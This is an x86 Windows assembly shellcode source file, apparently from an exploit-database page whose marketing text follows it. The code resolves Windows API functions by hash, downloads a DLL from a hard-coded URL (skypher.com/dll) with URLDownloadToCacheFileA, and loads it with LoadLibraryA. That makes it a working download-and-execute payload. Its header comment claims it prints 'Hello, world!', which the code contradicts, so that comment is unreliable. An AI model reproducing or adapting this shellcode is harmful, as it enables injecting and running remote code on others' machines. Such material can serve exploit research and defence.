; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <[email protected]>
; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
BITS 32
; Windows x86 null-free shellcode that writes "Hello, world!" to stdout.
; Works in any console application for Windows 5.0-7.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
; This version uses 16-bit hashes.
%define url 'http://skypher.com/dll'
%strlen sizeof_url url
%include 'w32-dl-loadlib-shellcode-hash-list.asm'
%define B2W(b1,b2) (((b2) << 8) + (b1))
%define W2DW(w1,w2) (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))
%define buffer_size 0x7C
%ifdef STACK_ALIGN
AND SP, 0xFFFC
%endif
MOV EDI, W2DW(hash_kernel32_LoadLibraryA, hash_urlmon_URLDownloadToCacheFileA)
find_hash: ; Find ntdll's InInitOrder list of modules:
PUSH EDI ; Stack = (hash, hash) [, &(url), &(LoadLibraryA)]
XOR ESI, ESI ; ESI = 0
MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30])
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module)
next_module: ; Get the baseaddress of the current module and find the next module:
MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address
MOV ESI, [ESI] ; ESI = InInitOrder[X].flink == InInitOrder[X+1]
get_proc_address_loop: ; Find the PE header and export and names tables of the module:
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)
MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table)
ADD EBX, EBP ; EBX = &(export table)
MOV ECX, [EBX + 0x18] ; ECX = number of name pointers
JCXZ next_module ; No name pointers? Next module.
next_function_loop: ; Get the next function name for hashing:
MOV EDI, [EBX + 0x20] ; EDI = offset(names table)
ADD EDI, EBP ; EDI = &(names table)
MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name)
ADD EDI, EBP ; EDI = &(function name)
XOR EAX, EAX ; EAX = 0
CDQ ; EDX = 0
hash_loop: ; Hash the function name and compare with requested hash
XOR DL, [EDI]
ROR DX, BYTE hash_ror_value
SCASB
JNE hash_loop
CMP DX, [ESP]
LOOPNE next_function_loop ; Not the right hash and functions left in module? Next function
JNE next_module ; Not the right hash and no functions left in module? Next module
; Found the right hash: get the address of the function:
MOV EDX, [EBX + 0x24] ; ESI = offset ordinals table
ADD EDX, EBP ; ESI = &oridinals table
MOVZX EDX, WORD [EDX + 2 * ECX] ; ESI = ordinal number of function
MOV EDI, [EBX + 0x1C] ; EDI = offset address table
ADD EDI, EBP ; EDI = &address table
ADD EBP, [EDI + 4 * EDX] ; EBP = &(function)
; Move to the next hash, this sets ECX to 0 if there are no more hashes:
POP CX ; CX = hash | Stack = hash [, &(url), &(LoadLibraryA)]
POP CX ; CX = hash | Stack = [&(url), &(LoadLibraryA)]
MOV AH, 0x1 ; EAX = 0x100
JCXZ download_and_loadlibrary ; No more hashes
MOV EDI, ECX ; EDI = hashes
SUB ESP, EAX ; Stack = buffer (0x100 bytes)
PUSH AX ; Stack = (0, 1), buffer
PUSH B2DW('l', 'm', 'o', 'n') ; Stack = "lmon", (0, 1), buffer
PUSH WORD B2W('u', 'r') ; Stack = "urlmon", (0, 1), buffer
PUSH ESP ; Stack = &("urlmon"), "urlmon", (0, 1), buffer
CALL EBP ; LoadLibraryA("urlmon")
PUSH EBP ; Stack = &(LoadLibraryA), buffer
CALL find_hash ; Stack = &(url), &(LoadLibraryA), buffer
db url
download_and_loadlibrary: ; Stack = &(url), &(LoadLibraryA), buffer
POP ESI ; ESI = &(url) | Stack = &(LoadLibraryA), buffer
POP EDX ; EDX = &(LoadLibraryA) | Stack = buffer
; Copy url to stack and NULL terminate it:
MOV EDI, ESP ; EDI = &(buffer)
PUSH BYTE sizeof_url ;
POP ECX ; ECX = sizeof(url)
REP MOVSB ; Stack = url buffer | EDI = &(buffer)
STOSB ; Stack = url, 0, buffer | EDI = &(buffer)
MOV ESI, ESP ; ESI = &(url)
; Create a ret-into-libc stack chain to make URLDownloadToCacheFileA() return to LoadLibraryA():
; LoadLibraryA(
PUSH EDI ; __in LPCTSTR lpFileName = &(buffer)
PUSH ECX ; ) return address = NULL
; URLDownloadToCacheFileA(
PUSH ECX ; __in IBindStatusCallback *pBSC = NULL
PUSH ECX ; DWORD dwReserved = NULL
; Our buffer is not really 0x100 bytes long anymore because we used part of it to store the URL... oh well.
PUSH EAX ; __in DWORD cchFileName = sizeof(buffer)
PUSH EDI ; __out LPTSTR szFileName = &(buffer)
PUSH ESI ; __in LPCSTR szURL = &(url)
PUSH ECX ; __in LPUNKNOWN lpUnkcaller = NULL
PUSH EDX ; ) return address = LoadLibraryA
; Start the ret-into-libc chain:
JMP EBP ; Jump to URLDownloadToCacheFileA, then return to LoadLibraryAData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation